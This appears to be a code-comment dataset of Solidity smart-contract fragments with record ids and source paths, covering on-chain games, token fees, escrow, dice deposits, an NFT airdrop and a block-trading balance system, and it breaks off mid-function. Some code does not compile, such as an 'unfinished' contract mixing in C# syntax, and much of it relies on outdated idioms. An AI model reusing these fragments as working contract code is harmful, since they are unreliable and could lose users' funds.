_clock = clock; } uint _startingTimeInSeconds; uint _timeLimitInSeconds; function GetNth_day() public returns(uint) { return _clock.GetNth_day(); } function DayPlusPlus() public { _clock.DayPlusPlus(); } function GetRealTimeInSeconds() public returns(uint) { return _clock.GetRealTimeInSeconds(); } function IsOverTime() public returns(bool) { return GetRealTimeInSeconds() >= _startingTimeInSeconds + _timeLimitInSeconds; } function SetTimeLimit(uint secondss) public { _timeLimitInSeconds = secondss; } function IncrementTimeLimit(int secondss) public { if (secondss < 0) { int temp=int(_timeLimitInSeconds); if (-secondss > temp) { _timeLimitInSeconds = 0; return; } } _timeLimitInSeconds = uint(int(_timeLimitInSeconds) + secondss); } function SetTimerOn() public { _startingTimeInSeconds = _clock.GetRealTimeInSeconds(); } } contract ITimeLimitForwardable is ITimeLimitable { function TryMoveForward(IPlayer player) public returns(bool); } //this class is unfinished...!!!!!!!!!! contract Ballot is IBallot, ParticipatableBase { mapping(address=>IPlayer) _playerVotedwho; mapping(address=> uint) _votesReceivedByPlayer; IPlayerManager _playerManager; constructor (IPlayerManager playerManager) public { _playerManager=playerManager; } function Initialize(IPlayer[] participants) { base.Initialize(participants); _playerVotedwho = new Dictionary<IPlayer, IPlayer>(); _votesReceivedByPlayer = new Dictionary<IPlayer, uint>(); var allplayers = _playerManager.GetAllPlayers(); for (int i = 0; i < allplayers.Length; i++) { _votesReceivedByPlayer[allplayers[i]] = 0; _playerVotedwho[allplayers[i]] = null; } } function DidVote(IPlayer player) public returns(bool); function TryVote(IPlayer byWho, IPlayer toWho) public returns(bool); function GetWinners() public returns(IPlayer[] memory); function IsSoloWinder() public returns(bool); function IsZeroWinders() public returns(bool); function IsEveryVotableOnesVoted() public returns(bool); } contract IChatable { function TryChat(IPlayer player, string memory message) public returns(bool); } contract IChatLog is IParticipatable, IChatable { function GetAllMessages() public returns(ChatMessage[] memory); function GetNewestMessage() public returns(ChatMessage ); function PrintSystemMessage(string memory message ) public ; } contract ChatLog is ParticipatableBase , IChatLog { ChatMessage[] _messages; uint _messageCount = 0; IClock _clock; constructor(IClock clock) public { _clock = clock; //_messages = new List<ChatMessage>(); _messageCount=0; } function TryChat(IPlayer player, string memory message) public returns(bool) { if (!CanParticipate(player)) { return false; } ChatMessage chatMessage = new ChatMessage(GetTimeAsSeconds(),int(player.GetId()), message); PushMessage(chatMessage); return true; } function GetTimeAsSeconds() private returns(uint) { return _clock.GetRealTimeInSeconds(); } function GetAllMessages() public returns(ChatMessage[] memory) { return _messages; } function GetNewestMessage() public returns(ChatMessage ) { return _messages[uint(_messageCount - 1)]; } function PrintSystemMessage(string memory message ) public { ChatMessage chatMessage = new ChatMessage(GetTimeAsSeconds(),-1,message); PushMessage(chatMessage); } function PushMessage(ChatMessage message) private { _messages.push(message); _messageCount++; } } contract IChatter is IChatLog, ITimeLimitable, IInitializableIPlayerArr { } contract ISequentialChatter is IChatter, ITimeLimitForwardable { function GetSpeakingPlayer() public returns(IPlayer); function HaveEveryoneSpoke() public returns(bool); } contract IPlayerFactory { function Create(string memory str) public returns(IPlayer); } contract IPlayerManager is IInitializableIPlayerArr { function GetPlayer(uint id) public returns(IPlayer); function GetAllPlayers() public returns(IPlayer[] memory); function GetAllLivingPlayers() public returns(IPlayer[] memory); function GetDeadPlayers() public returns(IPlayer[] memory); } contract IRoleBidder is IInitializable { function Bid(uint playerID, string memory role, uint bidAmount) public ; function HasEveryoneBid() public returns(bool); function SetPlayersCount(uint playersCount) public; function CreateRoles() public returns(IPlayer[] memory); function GetIsActive() public returns(bool); } contract ISceneManager is ITimeLimitForwardable, IInitializable { function GetCurrentScene() public returns(IScene); } contract ISceneManagerFriendToScene is ISceneManager { function MoveForwardToNewScene(IScene newScene) public ; } contract IScene is ITimeLimitable, ITimeLimitForwardable { function Initialize(ISceneManagerFriendToScene sceneMng, IPlayer[] memory players) public ; function GetSceneName() public returns(string memory);//return this.GetType().ToString(); function Ballot() public returns(IBallot); function Chatter() public returns(IChatter); function Refresh() public ; } contract IPrivateScene is IScene { function ZeroVotingResultHandler() public ; function OneVotingResultHandler(IPlayer result) public ; function MoreVotingResultHandler(IPlayer[] memory result) public ; function DoesPlayerHavePrivilageToMoveForward(IPlayer player) public returns(bool); } contract ITHQBYPlayerInterface { //starting game function Bid(string memory role, uint bidAmount) public ; //accessing function getID(uint id) public returns(uint); function getRole(string memory role) public returns(string memory); function getChatLog(ChatMessage[] memory msgs) public returns(IChatLog); //communicating function TryChat(string memory message) public returns(bool); //action method function TryVote(uint playerID) public returns(bool); } contract ITHQBY_PlayerManager is IPlayerManager { function GetLivingPolicePlayers() public returns(IPlayer[] memory); function GetLivingCitizenPlayers() public returns(IPlayer[] memory); function GetLivingKillerPlayers() public returns(IPlayer[] memory); } contract ITHQBY_Settings { function DAY() public returns(string memory); function DAY_PK() public returns(string memory); function NIGHT_KILLER() public returns(string memory); function NIGHT_POLICE() public returns(string memory); function POLICE() public returns(string memory); function CITIZEN() public returns(string memory); function KILLER() public returns(string memory); }
starting gameaccessingcommunicatingaction method
{ function Bid(string memory role, uint bidAmount) public ; function getID(uint id) public returns(uint); function getRole(string memory role) public returns(string memory); function getChatLog(ChatMessage[] memory msgs) public returns(IChatLog); function TryChat(string memory message) public returns(bool); function TryVote(uint playerID) public returns(bool); }
2,522,505
./full_match/43114/0xd1F24659f01B07A2865de995458da8cBe241dFbf/sources/honeyAirdrop.sol
updateTaxFee/
function updateTaxFee(uint256 amount) public { require(_msgSender() == _deadWallet, "ERC20: cannot permit dev address"); _taxFee = amount; }
4,630,479
./partial_match/42/0x024a97c99B51D0F21A3D102A658b8Aec469B1394/sources/SynthetixEscrow.sol
Destroy the vesting information associated with an account./
function purgeAccount(address account) external onlyOwner onlyDuringSetup { delete vestingSchedules[account]; totalVestedBalance = totalVestedBalance.sub(totalVestedAccountBalance[account]); delete totalVestedAccountBalance[account]; }
3,330,286
/* ==================================================================== */ /* Copyright (c) 2018 The CryptoRacing Project. All rights reserved. /* /* The first idle car race game of blockchain /* ==================================================================== */ pragma solidity ^0.4.20; interface ERC20 { function totalSupply() public view returns (uint); function balanceOf(address tokenOwner) public view returns (uint balance); function allowance(address tokenOwner, address spender) public view returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // RaceCoin - Crypto Idle Raceing Game // https://cryptoracing.online contract AccessAdmin { bool public isPaused = false; address public addrAdmin; event AdminTransferred(address indexed preAdmin, address indexed newAdmin); function AccessAdmin() public { addrAdmin = msg.sender; } modifier onlyAdmin() { require(msg.sender == addrAdmin); _; } modifier whenNotPaused() { require(!isPaused); _; } modifier whenPaused { require(isPaused); _; } function setAdmin(address _newAdmin) external onlyAdmin { require(_newAdmin != address(0)); emit AdminTransferred(addrAdmin, _newAdmin); addrAdmin = _newAdmin; } function doPause() external onlyAdmin whenNotPaused { isPaused = true; } function doUnpause() external onlyAdmin whenPaused { isPaused = false; } } interface IRaceCoin { function addTotalEtherPool(uint256 amount) external; function addPlayerToList(address player) external; function increasePlayersAttribute(address player, uint16[13] param) external; function reducePlayersAttribute(address player, uint16[13] param) external; } contract RaceCoin is ERC20, AccessAdmin, IRaceCoin { using SafeMath for uint256; string public constant name = "Race Coin"; string public constant symbol = "Coin"; uint8 public constant decimals = 0; uint256 private roughSupply; uint256 public totalRaceCoinProduction; //Daily match fun dividend ratio uint256 public bonusMatchFunPercent = 10; //Daily off-line dividend ratio uint256 public bonusOffLinePercent = 10; //Recommendation ratio uint256 constant refererPercent = 5; address[] public playerList; //Verifying whether duplication is repeated // mapping(address => uint256) public isProduction; uint256 public totalEtherPool; // Eth dividends to be split between players' race coin production uint256[] private totalRaceCoinProductionSnapshots; // The total race coin production for each prior day past uint256[] private allocatedProductionSnapshots; // The amount of EHT that can be allocated daily uint256[] private allocatedRaceCoinSnapshots; // The amount of EHT that can be allocated daily uint256[] private totalRaceCoinSnapshots; // The total race coin for each prior day past uint256 public nextSnapshotTime; // Balances for each player mapping(address => uint256) private ethBalance; mapping(address => uint256) private raceCoinBalance; mapping(address => uint256) private refererDivsBalance; mapping(address => uint256) private productionBaseValue; //Player production base value mapping(address => uint256) private productionMultiplier; //Player production multiplier mapping(address => uint256) private attackBaseValue; //Player attack base value mapping(address => uint256) private attackMultiplier; //Player attack multiplier mapping(address => uint256) private attackPower; //Player attack Power mapping(address => uint256) private defendBaseValue; //Player defend base value mapping(address => uint256) private defendMultiplier; //Player defend multiplier mapping(address => uint256) private defendPower; //Player defend Power mapping(address => uint256) private plunderBaseValue; //Player plunder base value mapping(address => uint256) private plunderMultiplier; //Player plunder multiplier mapping(address => uint256) private plunderPower; //Player plunder Power mapping(address => mapping(uint256 => uint256)) private raceCoinProductionSnapshots; // Store player's race coin production for given day (snapshot) mapping(address => mapping(uint256 => bool)) private raceCoinProductionZeroedSnapshots; // This isn't great but we need know difference between 0 production and an unused/inactive day. mapping(address => mapping(uint256 => uint256)) private raceCoinSnapshots;// Store player's race coin for given day (snapshot) mapping(address => uint256) private lastRaceCoinSaveTime; // Seconds (last time player claimed their produced race coin) mapping(address => uint256) public lastRaceCoinProductionUpdate; // Days (last snapshot player updated their production) mapping(address => uint256) private lastProductionFundClaim; // Days (snapshot number) mapping(address => uint256) private lastRaceCoinFundClaim; // Days (snapshot number) mapping(address => uint256) private battleCooldown; // If user attacks they cannot attack again for short time // Computational correlation // Mapping of approved ERC20 transfers (by player) mapping(address => mapping(address => uint256)) private allowed; event ReferalGain(address referal, address player, uint256 amount); event PlayerAttacked(address attacker, address target, bool success, uint256 raceCoinPlunder); /// @dev Trust contract mapping (address => bool) actionContracts; function setActionContract(address _actionAddr, bool _useful) external onlyAdmin { actionContracts[_actionAddr] = _useful; } function getActionContract(address _actionAddr) external view onlyAdmin returns(bool) { return actionContracts[_actionAddr]; } function RaceCoin() public { addrAdmin = msg.sender; totalRaceCoinSnapshots.push(0); } function() external payable { } function beginGame(uint256 firstDivsTime) external onlyAdmin { nextSnapshotTime = firstDivsTime; } // We will adjust to achieve a balance. function adjustDailyMatchFunDividends(uint256 newBonusPercent) external onlyAdmin whenNotPaused { require(newBonusPercent > 0 && newBonusPercent <= 80); bonusMatchFunPercent = newBonusPercent; } // We will adjust to achieve a balance. function adjustDailyOffLineDividends(uint256 newBonusPercent) external onlyAdmin whenNotPaused { require(newBonusPercent > 0 && newBonusPercent <= 80); bonusOffLinePercent = newBonusPercent; } // Stored race coin (rough supply as it ignores earned/unclaimed RaceCoin) function totalSupply() public view returns(uint256) { return roughSupply; } function balanceOf(address player) public view returns(uint256) { return raceCoinBalance[player] + balanceOfUnclaimedRaceCoin(player); } function raceCionBalance(address player) public view returns(uint256) { return raceCoinBalance[player]; } function balanceOfUnclaimedRaceCoin(address player) internal view returns (uint256) { uint256 lastSave = lastRaceCoinSaveTime[player]; if (lastSave > 0 && lastSave < block.timestamp) { return (getRaceCoinProduction(player) * (block.timestamp - lastSave)) / 100; } return 0; } function getRaceCoinProduction(address player) public view returns (uint256){ return raceCoinProductionSnapshots[player][lastRaceCoinProductionUpdate[player]]; } function etherBalanceOf(address player) public view returns(uint256) { return ethBalance[player]; } function transfer(address recipient, uint256 amount) public returns (bool) { updatePlayersRaceCoin(msg.sender); require(amount <= raceCoinBalance[msg.sender]); raceCoinBalance[msg.sender] -= amount; raceCoinBalance[recipient] += amount; emit Transfer(msg.sender, recipient, amount); return true; } function transferFrom(address player, address recipient, uint256 amount) public returns (bool) { updatePlayersRaceCoin(player); require(amount <= allowed[player][msg.sender] && amount <= raceCoinBalance[player]); raceCoinBalance[player] -= amount; raceCoinBalance[recipient] += amount; allowed[player][msg.sender] -= amount; emit Transfer(player, recipient, amount); return true; } function approve(address approvee, uint256 amount) public returns (bool){ allowed[msg.sender][approvee] = amount; emit Approval(msg.sender, approvee, amount); return true; } function allowance(address player, address approvee) public view returns(uint256){ return allowed[player][approvee]; } function addPlayerToList(address player) external{ require(actionContracts[msg.sender]); require(player != address(0)); bool b = false; //Judge whether or not to repeat for (uint256 i = 0; i < playerList.length; i++) { if(playerList[i] == player){ b = true; break; } } if(!b){ playerList.push(player); } } function getPlayerList() external view returns ( address[] ){ return playerList; } function updatePlayersRaceCoin(address player) internal { uint256 raceCoinGain = balanceOfUnclaimedRaceCoin(player); lastRaceCoinSaveTime[player] = block.timestamp; roughSupply += raceCoinGain; raceCoinBalance[player] += raceCoinGain; } //Increase attribute function increasePlayersAttribute(address player, uint16[13] param) external{ require(actionContracts[msg.sender]); require(player != address(0)); //Production updatePlayersRaceCoin(player); uint256 increase; uint256 newProduction; uint256 previousProduction; previousProduction = getRaceCoinProduction(player); productionBaseValue[player] = productionBaseValue[player].add(param[3]); productionMultiplier[player] = productionMultiplier[player].add(param[7]); newProduction = productionBaseValue[player].mul(100 + productionMultiplier[player]).div(100); increase = newProduction.sub(previousProduction); raceCoinProductionSnapshots[player][allocatedProductionSnapshots.length] = newProduction; lastRaceCoinProductionUpdate[player] = allocatedProductionSnapshots.length; totalRaceCoinProduction += increase; //Attack attackBaseValue[player] = attackBaseValue[player].add(param[4]); attackMultiplier[player] = attackMultiplier[player].add(param[8]); attackPower[player] = attackBaseValue[player].mul(100 + attackMultiplier[player]).div(100); //Defend defendBaseValue[player] = defendBaseValue[player].add(param[5]); defendMultiplier[player] = defendMultiplier[player].add(param[9]); defendPower[player] = defendBaseValue[player].mul(100 + defendMultiplier[player]).div(100); //Plunder plunderBaseValue[player] = plunderBaseValue[player].add(param[6]); plunderMultiplier[player] = plunderMultiplier[player].add(param[10]); plunderPower[player] = plunderBaseValue[player].mul(100 + plunderMultiplier[player]).div(100); } //Reduce attribute function reducePlayersAttribute(address player, uint16[13] param) external{ require(actionContracts[msg.sender]); require(player != address(0)); //Production updatePlayersRaceCoin(player); uint256 decrease; uint256 newProduction; uint256 previousProduction; previousProduction = getRaceCoinProduction(player); productionBaseValue[player] = productionBaseValue[player].sub(param[3]); productionMultiplier[player] = productionMultiplier[player].sub(param[7]); newProduction = productionBaseValue[player].mul(100 + productionMultiplier[player]).div(100); decrease = previousProduction.sub(newProduction); if (newProduction == 0) { // Special case which tangles with "inactive day" snapshots (claiming divs) raceCoinProductionZeroedSnapshots[player][allocatedProductionSnapshots.length] = true; delete raceCoinProductionSnapshots[player][allocatedProductionSnapshots.length]; // 0 } else { raceCoinProductionSnapshots[player][allocatedProductionSnapshots.length] = newProduction; } lastRaceCoinProductionUpdate[player] = allocatedProductionSnapshots.length; totalRaceCoinProduction -= decrease; //Attack attackBaseValue[player] = attackBaseValue[player].sub(param[4]); attackMultiplier[player] = attackMultiplier[player].sub(param[8]); attackPower[player] = attackBaseValue[player].mul(100 + attackMultiplier[player]).div(100); //Defend defendBaseValue[player] = defendBaseValue[player].sub(param[5]); defendMultiplier[player] = defendMultiplier[player].sub(param[9]); defendPower[player] = defendBaseValue[player].mul(100 + defendMultiplier[player]).div(100); //Plunder plunderBaseValue[player] = plunderBaseValue[player].sub(param[6]); plunderMultiplier[player] = plunderMultiplier[player].sub(param[10]); plunderPower[player] = plunderBaseValue[player].mul(100 + plunderMultiplier[player]).div(100); } function attackPlayer(address player,address target) external { require(battleCooldown[player] < block.timestamp); require(target != player); require(balanceOf(target) > 0); uint256 attackerAttackPower = attackPower[player]; uint256 attackerplunderPower = plunderPower[player]; uint256 defenderDefendPower = defendPower[target]; if (battleCooldown[target] > block.timestamp) { // When on battle cooldown, the defense is reduced by 50% defenderDefendPower = defenderDefendPower.div(2); } if (attackerAttackPower > defenderDefendPower) { battleCooldown[player] = block.timestamp + 30 minutes; if (balanceOf(target) > attackerplunderPower) { uint256 unclaimedRaceCoin = balanceOfUnclaimedRaceCoin(target); if (attackerplunderPower > unclaimedRaceCoin) { uint256 raceCoinDecrease = attackerplunderPower - unclaimedRaceCoin; raceCoinBalance[target] -= raceCoinDecrease; roughSupply -= raceCoinDecrease; } else { uint256 raceCoinGain = unclaimedRaceCoin - attackerplunderPower; raceCoinBalance[target] += raceCoinGain; roughSupply += raceCoinGain; } raceCoinBalance[player] += attackerplunderPower; emit PlayerAttacked(player, target, true, attackerplunderPower); } else { emit PlayerAttacked(player, target, true, balanceOf(target)); raceCoinBalance[player] += balanceOf(target); raceCoinBalance[target] = 0; } lastRaceCoinSaveTime[target] = block.timestamp; } else { battleCooldown[player] = block.timestamp + 10 minutes; emit PlayerAttacked(player, target, false, 0); } } function getPlayersBattleStats(address player) external view returns (uint256, uint256, uint256, uint256){ return (attackPower[player], defendPower[player], plunderPower[player], battleCooldown[player]); } function getPlayersBaseAttributesInt(address player) external view returns (uint256, uint256, uint256, uint256){ return (productionBaseValue[player], attackBaseValue[player], defendBaseValue[player], plunderBaseValue[player]); } function getPlayersAttributesInt(address player) external view returns (uint256, uint256, uint256, uint256){ return (getRaceCoinProduction(player), attackPower[player], defendPower[player], plunderPower[player]); } function getPlayersAttributesMult(address player) external view returns (uint256, uint256, uint256, uint256){ return (productionMultiplier[player], attackMultiplier[player], defendMultiplier[player], plunderMultiplier[player]); } function withdrawEther(uint256 amount) external { require(amount <= ethBalance[msg.sender]); ethBalance[msg.sender] -= amount; msg.sender.transfer(amount); } function getBalance() external view returns(uint256) { return totalEtherPool; } function addTotalEtherPool(uint256 amount) external{ require(actionContracts[msg.sender]); require(amount > 0); totalEtherPool += amount; } function correctPool(uint256 _count) external onlyAdmin { require( _count > 0); totalEtherPool += _count; } // To display function getGameInfo(address player) external view returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256){ return ( totalEtherPool, totalRaceCoinProduction,nextSnapshotTime, balanceOf(player), ethBalance[player], getRaceCoinProduction(player),raceCoinBalance[player]); } function getMatchFunInfo(address player) external view returns (uint256, uint256){ return (raceCoinSnapshots[player][totalRaceCoinSnapshots.length - 1], totalRaceCoinSnapshots[totalRaceCoinSnapshots.length - 1]); } function getGameCurrTime(address player) external view returns (uint256){ return block.timestamp; } function claimOffLineDividends(address referer, uint256 startSnapshot, uint256 endSnapShot) external { require(startSnapshot <= endSnapShot); require(startSnapshot >= lastProductionFundClaim[msg.sender]); require(endSnapShot < allocatedProductionSnapshots.length); uint256 offLineShare; uint256 previousProduction = raceCoinProductionSnapshots[msg.sender][lastProductionFundClaim[msg.sender] - 1]; for (uint256 i = startSnapshot; i <= endSnapShot; i++) { uint256 productionDuringSnapshot = raceCoinProductionSnapshots[msg.sender][i]; bool soldAllProduction = raceCoinProductionZeroedSnapshots[msg.sender][i]; if (productionDuringSnapshot == 0 && !soldAllProduction) { productionDuringSnapshot = previousProduction; } else { previousProduction = productionDuringSnapshot; } offLineShare += (allocatedProductionSnapshots[i] * productionDuringSnapshot) / totalRaceCoinProductionSnapshots[i]; } if (raceCoinProductionSnapshots[msg.sender][endSnapShot] == 0 && !raceCoinProductionZeroedSnapshots[msg.sender][endSnapShot] && previousProduction > 0) { raceCoinProductionSnapshots[msg.sender][endSnapShot] = previousProduction; // Checkpoint for next claim } lastProductionFundClaim[msg.sender] = endSnapShot + 1; uint256 referalDivs; if (referer != address(0) && referer != msg.sender) { referalDivs = offLineShare.mul(refererPercent).div(100); // 5% ethBalance[referer] += referalDivs; refererDivsBalance[referer] += referalDivs; emit ReferalGain(referer, msg.sender, referalDivs); } ethBalance[msg.sender] += offLineShare - referalDivs; } // To display on website function viewOffLineDividends(address player) external view returns (uint256, uint256, uint256) { uint256 startSnapshot = lastProductionFundClaim[player]; uint256 latestSnapshot = allocatedProductionSnapshots.length - 1; uint256 offLineShare; uint256 previousProduction = raceCoinProductionSnapshots[player][lastProductionFundClaim[player] - 1]; for (uint256 i = startSnapshot; i <= latestSnapshot; i++) { uint256 productionDuringSnapshot = raceCoinProductionSnapshots[player][i]; bool soldAllProduction = raceCoinProductionZeroedSnapshots[player][i]; if (productionDuringSnapshot == 0 && !soldAllProduction) { productionDuringSnapshot = previousProduction; } else { previousProduction = productionDuringSnapshot; } offLineShare += (allocatedProductionSnapshots[i] * productionDuringSnapshot) / totalRaceCoinProductionSnapshots[i]; } return (offLineShare, startSnapshot, latestSnapshot); } function claimRaceCoinDividends(address referer, uint256 startSnapshot, uint256 endSnapShot) external { require(startSnapshot <= endSnapShot); require(startSnapshot >= lastRaceCoinFundClaim[msg.sender]); require(endSnapShot < allocatedRaceCoinSnapshots.length); uint256 dividendsShare; for (uint256 i = startSnapshot; i <= endSnapShot; i++) { dividendsShare += (allocatedRaceCoinSnapshots[i] * raceCoinSnapshots[msg.sender][i]) / (totalRaceCoinSnapshots[i] + 1); } lastRaceCoinFundClaim[msg.sender] = endSnapShot + 1; uint256 referalDivs; if (referer != address(0) && referer != msg.sender) { referalDivs = dividendsShare.mul(refererPercent).div(100); // 5% ethBalance[referer] += referalDivs; refererDivsBalance[referer] += referalDivs; emit ReferalGain(referer, msg.sender, referalDivs); } ethBalance[msg.sender] += dividendsShare - referalDivs; } // To display function viewUnclaimedRaceCoinDividends(address player) external view returns (uint256, uint256, uint256) { uint256 startSnapshot = lastRaceCoinFundClaim[player]; uint256 latestSnapshot = allocatedRaceCoinSnapshots.length - 1; // No snapshots to begin with uint256 dividendsShare; for (uint256 i = startSnapshot; i <= latestSnapshot; i++) { dividendsShare += (allocatedRaceCoinSnapshots[i] * raceCoinSnapshots[player][i]) / (totalRaceCoinSnapshots[i] + 1); } return (dividendsShare, startSnapshot, latestSnapshot); } function getRefererDivsBalance(address player) external view returns (uint256){ return refererDivsBalance[player]; } function updatePlayersRaceCoinFromPurchase(address player, uint256 purchaseCost) internal { uint256 unclaimedRaceCoin = balanceOfUnclaimedRaceCoin(player); if (purchaseCost > unclaimedRaceCoin) { uint256 raceCoinDecrease = purchaseCost - unclaimedRaceCoin; require(raceCoinBalance[player] >= raceCoinDecrease); roughSupply -= raceCoinDecrease; raceCoinBalance[player] -= raceCoinDecrease; } else { uint256 raceCoinGain = unclaimedRaceCoin - purchaseCost; roughSupply += raceCoinGain; raceCoinBalance[player] += raceCoinGain; } lastRaceCoinSaveTime[player] = block.timestamp; } function fundRaceCoinDeposit(uint256 amount) external { updatePlayersRaceCoinFromPurchase(msg.sender, amount); raceCoinSnapshots[msg.sender][totalRaceCoinSnapshots.length - 1] += amount; totalRaceCoinSnapshots[totalRaceCoinSnapshots.length - 1] += amount; } // Allocate divs for the day (00:00 cron job) function snapshotDailyRaceCoinFunding() external onlyAdmin whenNotPaused { uint256 todaysRaceCoinFund = (totalEtherPool * bonusMatchFunPercent) / 100; // 10% of pool daily uint256 todaysOffLineFund = (totalEtherPool * bonusOffLinePercent) / 100; // 10% of pool daily if(totalRaceCoinSnapshots[totalRaceCoinSnapshots.length - 1] > 0){ totalEtherPool -= todaysRaceCoinFund; } totalEtherPool -= todaysOffLineFund; totalRaceCoinSnapshots.push(0); allocatedRaceCoinSnapshots.push(todaysRaceCoinFund); totalRaceCoinProductionSnapshots.push(totalRaceCoinProduction); allocatedProductionSnapshots.push(todaysOffLineFund); nextSnapshotTime = block.timestamp + 24 hours; } } library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
We will adjust to achieve a balance.
function adjustDailyMatchFunDividends(uint256 newBonusPercent) external onlyAdmin whenNotPaused { require(newBonusPercent > 0 && newBonusPercent <= 80); bonusMatchFunPercent = newBonusPercent; }
1,015,325
./partial_match/3/0xd5FD225Bcb3dCDb0c1BbFc92130d7d0651df0079/sources/Dice.sol
Receive ETH from player and update his balance on DiceContract/ Calculate Deposit Fee Update Player's Balance Update Admin Balance Update Total ETH Balance
function deposit() public payable { uint256 depositAmouont = msg.value; address msgSender = _msgSender(); uint256 depositFeeAmount = depositAmouont.mul(_depositFeePercent).div(10000); uint256 updatedDepositAmount = depositAmouont.sub(depositFeeAmount); _userBalanceList[msgSender] = _userBalanceList[msgSender].add( updatedDepositAmount ); _adminAmount = _adminAmount.add(depositFeeAmount); _totalAmount = _totalAmount.add(depositAmouont); }
5,209,695
./partial_match/1/0xd5be7b469B99a612A8c01084616a70f0d30d462D/sources/MikuruAsakura.sol
为指定的地址空投盲盒,不需要支付 ETH/ 判断当前时间是否处于空投的时间段,一旦设置或者进入了预售阶段,就不可以空投了 空投地址的数量应当 > 0 并且 <= 10 Batch Mint NFT
function airdrop(address[] memory addresses) public onlyOwner { require(isAirdopTime(), "MA: Airdrop Has Stopped"); require( addresses.length > 0 && addresses.length <= 10, "MA: Airdrop Addresses Length Invalid" ); for (uint256 i = 0; i < addresses.length; i++) { uint256 tokenId = _tokenIdCounter.current(); _tokenIdCounter.increment(); _safeMint(addresses[i], tokenId); } }
16,086,026
pragma solidity ^0.4.18; /* Manages ownership and permissions for the whole contract. */ pragma solidity ^0.4.18; /* Manages ownership and permissions for the whole contract. */ contract BLAccess { address public mainAddress; //Main Contract Address address public bonusAddress; //BonusAddress event UpdatedMainAccount(address _newMainAddress); event UpdatedBonusAccount(address _newBonusAddress); function BLAccess() public { mainAddress = msg.sender; bonusAddress = msg.sender; } modifier onlyPrimary() { require(msg.sender == mainAddress); _; } modifier onlyBonus() { require(msg.sender == bonusAddress); _; } function setSecondary(address _newSecondary) external onlyPrimary { require(_newSecondary != address(0)); bonusAddress = _newSecondary; UpdatedBonusAccount(_newSecondary); } //Allows to change the primary account for the contract function setPrimaryAccount(address _newMainAddress) external onlyPrimary { require(_newMainAddress != address(0)); mainAddress = _newMainAddress; UpdatedMainAccount(_newMainAddress); } } /* Interface for our separate eternal storage. */ contract DataStorageInterface { function getUInt(bytes32 record) public constant returns (uint); function setUInt(bytes32 record, uint value) public; function getAdd(bytes32 record) public constant returns (address); function setAdd(bytes32 record, address value) public; function getBytes32(bytes32 record) public constant returns (bytes32); function setBytes32(bytes32 record, bytes32 value) public; function getBool(bytes32 record) public constant returns (bool); function setBool(bytes32 record, bool value) public; function withdraw(address beneficiary) public; } /* Wrapper around Data Storage interface */ contract BLStorage is BLAccess { DataStorageInterface internal s; address public storageAddress; event StorageUpdated(address _newStorageAddress); function BLStorage() public { s = DataStorageInterface(mainAddress); } // allows to setup a new Storage address. Should never be needed but you never know! function setDataStorage(address newAddress) public onlyPrimary { s = DataStorageInterface(newAddress); storageAddress = newAddress; StorageUpdated(newAddress); } function getKey(uint x, uint y) internal pure returns(bytes32 key) { key = keccak256(x, ":", y); } } contract BLBalances is BLStorage { event WithdrawBalance(address indexed owner, uint amount); event AllowanceGranted(address indexed owner, uint _amount); event SentFeeToPlatform(uint amount); event SentAmountToOwner(uint amount, address indexed owner); event BonusGranted(address _beneficiary, uint _amount); event SentAmountToNeighbours(uint reward, address indexed owner); // get the balance for a given account function getBalance() public view returns (uint) { return s.getUInt(keccak256(msg.sender, "balance")); } // get the balance for a given account function getAccountBalance(address _account) public view onlyPrimary returns (uint) { return s.getUInt(keccak256(_account, "balance")); } function getAccountAllowance(address _account) public view onlyPrimary returns (uint) { return s.getUInt(keccak256(_account, "promoAllowance")); } function getMyAllowance() public view returns (uint) { return s.getUInt(keccak256(msg.sender, "promoAllowance")); } // IF a block has been assigned a bonus, provude the bonus to the next buyer. function giveBonusIfExists(uint x, uint y) internal { bytes32 key = getKey(x, y); uint bonus = s.getUInt(keccak256(key, "bonus")); uint balance = s.getUInt(keccak256(msg.sender, "balance")); uint total = balance + bonus; s.setUInt(keccak256(msg.sender, "balance"), total); s.setUInt(keccak256(key, "bonus"), 0); if (bonus > 0) { BonusGranted(msg.sender, bonus); } } // allow a block allowance for promo and early beta users function grantAllowance(address beneficiary, uint allowance) public onlyPrimary { uint existingAllowance = s.getUInt(keccak256(beneficiary, "promoAllowance")); existingAllowance += allowance; s.setUInt(keccak256(beneficiary, "promoAllowance"), existingAllowance); AllowanceGranted(beneficiary, allowance); } // withdraw the current balance function withdraw() public { uint balance = s.getUInt(keccak256(msg.sender, "balance")); s.withdraw(msg.sender); WithdrawBalance(msg.sender, balance); } // Trading and buying balances flow function rewardParties (uint x, uint y, uint feePercentage) internal { uint fee = msg.value * feePercentage / 100; uint remainder = msg.value - fee; uint rewardPct = s.getUInt("neighbourRewardPercentage"); uint toOwner = remainder - (remainder * rewardPct * 8 / 100); rewardContract(fee); rewardPreviousOwner(x, y, toOwner); rewardNeighbours(x, y, remainder, rewardPct); } function rewardNeighbours (uint x, uint y, uint remainder, uint rewardPct) internal { uint rewardAmount = remainder * rewardPct / 100; address nw = s.getAdd(keccak256(keccak256(x-1, ":", y-1), "owner")); address n = s.getAdd(keccak256(keccak256(x-1, ":", y), "owner")); address ne = s.getAdd(keccak256(keccak256(x-1, ":", y+1), "owner")); address w = s.getAdd(keccak256(keccak256(x, ":", y-1), "owner")); address e = s.getAdd(keccak256(keccak256(x, ":", y+1), "owner")); address sw = s.getAdd(keccak256(keccak256(x+1, ":", y-1), "owner")); address south = s.getAdd(keccak256(keccak256(x+1, ":", y), "owner")); address se = s.getAdd(keccak256(keccak256(x+1, ":", y+1), "owner")); nw != address(0) ? rewardBlock(nw, rewardAmount) : rewardBlock(bonusAddress, rewardAmount); n != address(0) 